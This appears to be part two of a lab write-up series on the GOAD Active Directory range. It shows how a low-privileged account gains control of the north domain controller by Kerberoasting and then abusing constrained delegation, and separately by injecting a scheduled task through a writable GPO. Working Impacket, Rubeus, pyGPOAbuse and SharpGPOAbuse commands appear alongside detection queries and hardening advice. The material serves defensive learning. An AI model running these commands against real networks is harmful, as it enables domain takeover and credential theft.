Series · 4 partsAssessing Active DirectoryPart 2 · You are here
- 1GOAD Part 1: From Zero Credentials to the Attack Graph
- 2GOAD Part 2: Owning the NORTH Domain ControllerYou are here
- 3GOAD Part 3: Walking the ACL Chain to the Forest Root
- 4GOAD Part 4: Owning essos.local Across the Forest Trust
Moving from a foothold to the Domain Controller
At the end of Part 1, I had working credentials across all three GOAD domains and a full BloodHound dataset. In this part, I focus on north.sevenkingdoms.local and turn our low-privileged samwell.tarly account into Administrator on DC02 (winterfell, 192.168.56.11).
When I looked at the BloodHound graph for NORTH, two separate escalation paths stood out, and both end right on DC02. The first path goes through a Kerberoastable service account that has constrained delegation configured to the Domain Controller. The second path uses a Group Policy Object (StarkWallpaper) that samwell.tarly has permission to edit. Below, I walk through both paths from my Kali box and note how to detect and close each one.
north.sevenkingdoms.local account to control of DC02: abusing constrained delegation through a cracked service account, or modifying a domain-linked GPO.
NORTH domain, Kerberoasting and GPO modification provide two parallel vectors directly into DC02 (winterfell).North domain baseline and defensive posture
The official GOAD documentation allocates two Windows Server 2019 servers to the north.sevenkingdoms.local child domain:
| Host | IP | Role | OS | Windows Defender | Primary Vectors |
|---|---|---|---|---|---|
DC02 (winterfell) | 192.168.56.11 | Child DC, KDC, DNS | Windows Server 2019 | Enabled | Constrained Delegation (S4U2Proxy), GPO Abuse (StarkWallpaper) |
SRV02 (castelblack) | 192.168.56.22 | Member Server, IIS, MSSQL | Windows Server 2019 | Disabled | Web upload, MSSQL linked server pivot |
[!NOTE] Even though Windows Defender is Enabled on
DC02, neither Kerberoasting nor Kerberos Constrained Delegation (S4U2Self+S4U2Proxy) triggers an antivirus detection. Because Kerberos ticket forging and protocol transition operate strictly within in-memory LSASS sessions and Kerberos ASN.1 network traffic, on-disk signature scanning is completely blind to this escalation path.
Step 1: Kerberoasting the service accounts
Any authenticated domain user can ask the KDC for a service ticket (TGS-REP) for any account with a registered Service Principal Name (SPN). Because the KDC encrypts that service ticket with the target service account’s hash, we can try to crack the password offline (MITRE T1558.003). Using samwell.tarly from Part 1, I list the SPN accounts in north:
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
ServicePrincipalName Name MemberOf Delegation
--------------------------------------------------- ----------- ------------------------------ -----------
HTTP/eyrie.north.sevenkingdoms.local sansa.stark CN=Stark,CN=Users,...
CIFS/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,... constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,... constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc
Next, I request the tickets with -request and run them through hashcat (-m 13100):
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11 -request -outputfile kerb.hashes
$ hashcat -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...*...:iknownothing
Three user accounts have SPNs (sansa.stark, jon.snow, and sql_svc), and jon.snow cracks right away to iknownothing. sql_svc does not crack against rockyou.txt because its password in the GOAD provisioning files is YouWillNotKerboroast1ngMe..., which is a good example of how a long password stops Kerberoasting cold. Cracking jon.snow is all we need here because of that constrained label in the Delegation column.
BloodHound Cypher: Hunting Kerberoastable delegation accounts
In an enterprise environment with thousands of objects, manual inspection is inefficient. The following Cypher query in BloodHound CE instantly surfaces users with registered SPNs who also hold delegation rights:
MATCH (u:User)
WHERE u.hasspn = true AND u.allowedtodelegate IS NOT NULL
RETURN u.name AS ServiceAccount, u.serviceprincipalnames AS SPNs, u.allowedtodelegate AS TargetSPNs
Windows & PowerShell tool equivalents
If operating from a domain-joined Windows foothold rather than a Linux host running Impacket, the same enumeration and ticket extraction can be executed via ActiveDirectory PowerShell, PowerView, or Rubeus:
# ActiveDirectory module (PowerShell)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, msDS-AllowedToDelegateTo |
Select-Object SamAccountName, ServicePrincipalName, msDS-AllowedToDelegateTo
# PowerView (in-memory recon)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, msds-allowedtodelegateto
# Rubeus (in-memory Kerberoast request directly to console)
Rubeus.exe kerberoast /user:jon.snow /nowrap
Detection: Kerberoasting shows up as a burst of TGS-REQ requests asking for RC4 (etype 23 / 0x17) encryption, logged as Event ID 4769 on the DC. If a user account suddenly requests tickets for every SPN in the domain, or asks for 0x17 encryption when AES (0x12) is the baseline, you have a clear signal.
Control: Run services under group-managed service accounts (gMSAs), which use 120-character passwords rotated automatically by Windows. If an application requires a standard user account with an SPN, give it a 25+ character random password and disable RC4 encryption on the account.
[!TIP] In addition to constrained delegation, the official GOAD design provisions
jon.snowassysadminonCASTELBLACK(192.168.56.22), which maintains an active SQL Server linked-server mapping directly intoSRV03(braavos.essos.local). For the full cross-forest database lateral movement walk-through bypassing Kerberos trust boundaries entirely, see Cross-Forest Pivoting via SQL Server Linked Servers.
Step 2: Constrained delegation to the Domain Controller
Having jon.snow’s password matters because of what the KDC trusts him to do. (If you want a deeper look at how S4U2Self and S4U2Proxy work on the wire, I wrote a companion article on Inside Kerberos Delegation: Why Multi-Tier Windows Apps Need It (and Why It Breaks).) First, I query LDAP to see the exact delegation configuration in north:
$ nxc ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --find-delegation
AccountName AccountType DelegationType DelegationRightsTo
------------ ----------- ---------------------------------- ----------------------------------------
jon.snow Person Constrained w/ Protocol Transition CIFS/winterfell, CIFS/winterfell.north...
CASTELBLACK$ Computer Constrained HTTP/winterfell, HTTP/winterfell.north...
jon.snow is configured for constrained delegation with protocol transition (TrustedToAuthForDelegation) targeting CIFS/winterfell, which is the SMB service on the Domain Controller (DC02) itself. Because protocol transition is enabled, jon.snow can use S4U2Self to obtain a forwardable ticket on behalf of any user without that user ever logging in, and then pass it to S4U2Proxy to get a CIFS/winterfell.north.sevenkingdoms.local ticket as Administrator:
$ impacket-getST -spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator 'north.sevenkingdoms.local/jon.snow:iknownothing' -dc-ip 192.168.56.11
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
I export that .ccache ticket into KRB5CCNAME and pass it to nxc smb against winterfell.north.sevenkingdoms.local:
$ export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
$ nxc smb winterfell.north.sevenkingdoms.local -k --use-kcache --shares
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL ADMIN$ READ,WRITE Remote Admin
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL C$ READ,WRITE Default share
With read/write access to ADMIN$ and C$ as Administrator on DC02, running impacket-secretsdump -k -no-pass with the same Kerberos ticket dumps NTDS.dit and every hash in north.sevenkingdoms.local. We never needed Administrator’s password, just jon.snow’s password and the delegation rule.
Protocol wire mechanics: S4U2Self and S4U2Proxy under the hood ([MS-SFU])
The transition from a compromised service account hash to Domain Admin on DC02 is governed by Microsoft Kerberos Protocol Extensions [MS-SFU]:
-
S4U2Self (
PA-FOR-USER):- The service account (
jon.snow) asks the KDC for a service ticket to himself on behalf of an arbitrary user (Administrator). - The Kerberos
TGS-REQincludes thePA-FOR-USERpre-authentication padata structure, which contains the target userName (Administrator), userRealm, and an HMAC checksum computed usingjon.snow’s long-term secret key. - The KDC verifies the checksum. It then inspects
jon.snow’suserAccountControlattribute: if theTRUSTED_TO_AUTH_FOR_DELEGATIONbit (0x1000000) is asserted (Protocol Transition), the KDC marks the issued TGS ticket with theFORWARDABLEflag (0x40000000). - Security control: If the target identity is a member of
Protected Usersor hasAccount is sensitive and cannot be delegated(NOT_DELEGATED0x100000), the KDC issues the ticket without theFORWARDABLEflag, terminating the exploit chain immediately.
- The service account (
-
S4U2Proxy (Constrained Forwarding):
- With a forwardable ticket in hand,
jon.snowinitiates a secondTGS-REQtargeting the destination service (CIFS/winterfell.north.sevenkingdoms.local). - The previously obtained forwardable
Administratorticket is embedded directly inside theadditional-ticketsfield of the request. - The KDC verifies that the requested SPN matches an entry listed in
jon.snow’smsDS-AllowedToDelegateTomulti-valued attribute. - Upon verification, the KDC issues a valid
CIFSservice ticket forwinterfellimpersonatingAdministrator. To maintain an audit trail, the KDC populates theTransitedServicesPAC buffer withjon.snow, recording which intermediary requested the proxy delegation.
- With a forwardable ticket in hand,
Windows & C# tool equivalents (Rubeus)
On Windows endpoints, Rubeus executes this protocol transition entirely in memory and injects the forged ticket directly into the current logon session (/ptt):
# Execute S4U2Self + S4U2Proxy and pass the resulting ticket into the current session
Rubeus.exe s4u /user:jon.snow /rc4:iknownothing /impersonateuser:Administrator /msdsspn:CIFS/winterfell.north.sevenkingdoms.local /ptt
# Verify the ticket is loaded in the Windows Kerberos cache
klist
# Connect to the Domain Controller via SMB
dir \\winterfell.north.sevenkingdoms.local\C$
Detection: An S4U2Self + S4U2Proxy sequence generates two consecutive Event ID 4769 logs on the DC: one where jon.snow requests a ticket to himself on behalf of Administrator, and a second where he requests a ticket to CIFS/winterfell with the TransitedServices field populated. Also monitor LDAP changes to msDS-AllowedToDelegateTo and userAccountControl.
Control: Avoid TrustedToAuthForDelegation whenever possible, and never point constrained delegation at a Domain Controller SPN (CIFS/, LDAP/, HOST/). Just as importantly, check “Account is sensitive and cannot be delegated” on all Domain Admin accounts (or place them in the Protected Users security group) so the KDC refuses to impersonate them during S4U2Self.
Step 3: Abusing a writable GPO
The second path to DC02 does not touch Kerberos at all. In our BloodHound data from Part 1, samwell.tarly had WriteDacl, WriteOwner, and GenericWrite permissions over the StarkWallpaper GPO. (I break down how these ACE bitmasks and security descriptors work in LDAP in Active Directory as a Directed Graph: How Security Descriptors and Object ACLs Actually Work.) To see which machines that GPO affects, I check where it is linked (MITRE T1484.001):
$ ldapsearch -x -H ldap://192.168.56.11 -D 'samwell.tarly@north...' -w Heartsbane \
-b "DC=north,DC=sevenkingdoms,DC=local" "(gPLink=*)" dn gPLink
dn: DC=north,DC=sevenkingdoms,DC=local
gPLink: [LDAP://cn={B4BB975E-77E3-4D76-B30B-7D5433AAA3BD},cn=policies,cn=system,...]
Because {B4BB975E-77E3-4D76-B30B-7D5433AAA3BD} (StarkWallpaper) is linked directly to DC=north,DC=sevenkingdoms,DC=local, every machine in the domain applies it, including DC02. Anyone who can edit that GPO can push an immediate scheduled task that runs as NT AUTHORITY\SYSTEM. I test this with pyGPOAbuse using a harmless marker file command:
$ python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:Heartsbane \
-gpo-id B4BB975E-77E3-4D76-B30B-7D5433AAA3BD -dc-ip 192.168.56.11 \
-command 'cmd.exe /c echo jankesec_poc > C:\jankesec_poc.txt' -taskname jankesec_poc
[+] ScheduledTask jankesec_poc created!
Checking SYSVOL and the GPO’s versionNumber attribute confirms the task was written into the policy:
$ smbclient //192.168.56.11/SysVol -U 'north.../samwell.tarly%Heartsbane' \
-c 'ls "...\{B4BB975E-...}\Machine\Preferences\ScheduledTasks\"'
ScheduledTasks.xml A 1797 Tue Nov 3 18:58:23 2026
# versionNumber on the GPO object incremented from 131073 to 131074
At the next Group Policy refresh cycle, DC02 pulls ScheduledTasks.xml from SYSVOL and runs the command as NT AUTHORITY\SYSTEM. After verifying the write, I cleaned up the test task right away with pyGPOAbuse.
BloodHound Cypher: Locating writable domain-linked GPOs
To find users or groups that can modify Group Policy Objects applied to the domain root or Domain Controllers OU:
MATCH (u:User)-[r:GenericWrite|GenericAll|WriteDacl|WriteOwner]->(g:GPO)-[:GpLink]->(d:Domain)
RETURN u.name AS Principal, type(r) AS AbuseRight, g.name AS GPOName, d.name AS LinkedContainer
Windows & C# tool equivalents (SharpGPOAbuse & PowerView)
From a Windows system, the ACL check and scheduled task injection can be performed using PowerView and SharpGPOAbuse without touching Python:
# PowerView: verify write permissions over StarkWallpaper GPO
Get-DomainGPO -Identity "StarkWallpaper" | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -eq (Convert-NameToSid "samwell.tarly") }
# SharpGPOAbuse: inject an immediate computer scheduled task running as SYSTEM
SharpGPOAbuse.exe --AddComputerTask --TaskName "jankesec_poc" --Author "NT AUTHORITY\SYSTEM" `
--Command "cmd.exe" --Arguments "/c echo jankesec_poc > C:\jankesec_poc.txt" `
--GPOName "StarkWallpaper"
# Force immediate Group Policy engine refresh on the DC (for testing)
Invoke-Command -ComputerName winterfell.north.sevenkingdoms.local -ScriptBlock { gpupdate /force }
Detection: Modifying a GPO triggers Event ID 5136 on the DC when versionNumber and gPCMachineExtensionNames are updated in LDAP, alongside SMB file creation events inside SYSVOL\...\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml. If a GPO suddenly gains the Scheduled Tasks CSE GUID ({CAB54552-DEEA-4691-817E-ED4A4D1AFC72}), treat it as a high-priority alert.
Control: Audit nTSecurityDescriptor on every GPO container under CN=Policies,CN=System and on its matching SYSVOL folder, removing WriteDacl, WriteOwner, and GenericWrite for non-admin accounts. Also avoid linking general workstation GPOs at the domain root where Domain Controllers sit underneath them.
Defensive telemetry and Event ID reference
Monitoring this sequence requires observing both LDAP directory modifications and Kerberos ticket operations:
| Attack Step | Windows Event ID | Event Description | Decisive Telemetry Fields |
|---|---|---|---|
Kerberoasting (jon.snow) | 4769 | Kerberos Service Ticket Request | ServiceName: CIFS/thewall, TicketEncryptionType: 0x17 (RC4), TicketOptions: 0x40810000 |
| S4U2Self Impersonation | 4769 | Ticket Request to Self | ServiceName: jon.snow, TargetUserName: Administrator |
| S4U2Proxy Ticket Forgery | 4769 | Delegated Service Ticket | ServiceName: CIFS/winterfell, TransitedServices populated with intermediary service |
| GPO LDAP DACL Alteration | 5136 | Directory Service Object Modified | AttributeLDAPDisplayName: nTSecurityDescriptor on CN={B4BB975E-...} |
| GPO Scheduled Task Push | 4698 / 4702 | Scheduled Task Created / Updated | TaskName: \jankesec_poc, ClientProcessId under taskeng.exe / svchost.exe |
| SMB Lateral Movement | 4624 | Successful Logon | LogonType: 3 (Network), AuthenticationPackage: Kerberos, AccountName: Administrator |
SIEM and SOC detection rules
Engineering high-fidelity detections for these vectors requires targeted queries combining Event IDs, access masks, and ticket flags:
1. Splunk: Kerberoasting with RC4 (Event ID 4769)
Identifies spikes in RC4-encrypted Kerberos ticket requests (Ticket_Encryption_Type=0x17) typical of automated Kerberoasting tools:
index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$"
| stats count dc(Service_Name) as distinct_spns values(Service_Name) as targets by src_ip, Account_Name
| where distinct_spns > 3 OR count > 5
2. Splunk: S4U2Proxy Protocol Transition Anomaly (Event ID 4769)
Detects constrained delegation ticket requests where the TransitedServices PAC attribute indicates ticket forwarding through an intermediary:
index=wineventlog EventCode=4769
| eval TransitedServices=coalesce(Transited_Services, TransitedServices, "-")
| search TransitedServices!="-" Service_Name="CIFS/*"
| table _time, ComputerName, Account_Name, Service_Name, TransitedServices, Ticket_Options
3. Splunk: GPO DACL / Attribute Modification (Event ID 5136)
Flags unauthorized directory service modifications to Group Policy containers under CN=Policies,CN=System:
index=wineventlog EventCode=5136 ObjectDN="*CN=Policies,CN=System,DC=*"
| search AttributeLDAPDisplayName IN ("nTSecurityDescriptor", "versionNumber", "gPCMachineExtensionNames")
| table _time, SubjectUserName, ObjectDN, AttributeLDAPDisplayName, OperationType
4. Sigma rule snippet: GPO scheduled task extension addition
title: Potential Malicious GPO Scheduled Task CSE Modification
status: experimental
description: Detects LDAP modifications adding Scheduled Tasks Client Side Extension GUID to a GPO
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
ObjectDN|contains: 'CN=Policies,CN=System'
AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
AttributeValue|contains: '{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}'
condition: selection
falsepositives:
- Legitimate enterprise GPO creation by Domain Administrators
level: high
Summary of findings
| Finding | Account → target | Impact | Verify (from Kali) | Control |
|---|---|---|---|---|
| Roastable SPN with a weak password | jon.snow | Offline-crackable (iknownothing) | impacket-GetUserSPNs <dom>/<user>:<pass> -dc-ip <dc> -request | gMSA / 25+ char passwords; disable RC4 |
| Constrained delegation w/ protocol transition to a DC service | jon.snow → CIFS/winterfell | Forge Administrator ticket for DC02 admin | nxc ldap <dc> -u jon.snow -p ... --find-delegation | Remove TrustedToAuthForDelegation; mark admins sensitive/non-delegable |
| WriteDacl over a domain-linked GPO | samwell.tarly → StarkWallpaper | SYSTEM scheduled task on every north host | ldapsearch ... "(gPLink=*)" gPLink + BloodHound | Remove non-admin GPO ACEs; audit 5136; scope GPO links |
| S4U2Proxy ticket accepted by DC02 | Administrator (impersonated) | ADMIN$/C$ read-write; NTDS.dit reachable | nxc smb <dc> -k --use-kcache --shares | Protected Users; AES-only; delegation review |
Up next in Part 3
Owning DC02 gives us full control of the north.sevenkingdoms.local child domain. In Part 3, we move up into the parent domain sevenkingdoms.local using the tywin.lannister password recovered from SYSVOL in Part 1: walking the eight-hop ACL chain to KINGSLANDING with shadow credentials, DACL and ownership rewrites, group-membership climbing, and a final Resource-Based Constrained Delegation (RBCD) + DCSync against the forest root.
Evidence and limits
This sequence was executed inside the same isolated GOAD snapshot as Part 1. The post retains the decisive Kerberoast, S4U, SMB, and GPO output, including the identities and target SPNs that make each transition possible. Passwords and hashes shown are GOAD fixtures; they are included only where they prove which credential or ticket was accepted.
The path depends on GOAD’s deliberate service-account passwords, delegation entries, and GPO ownership. It should not be read as a universal route from any child domain to its controller. The GPO change is disruptive outside a lab; the instance was reset from snapshot after validation, and no production policy was modified.
References
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- S1ckB0y1337, AD Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- HackTricks, AD Methodology: book.hacktricks.xyz
- MITRE ATT&CK, Kerberoasting (T1558.003): attack.mitre.org/techniques/T1558/003
- MITRE ATT&CK, Domain Policy Modification: GPO (T1484.001): attack.mitre.org/techniques/T1484/001
- Microsoft, Kerberos Constrained Delegation overview: learn.microsoft.com
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

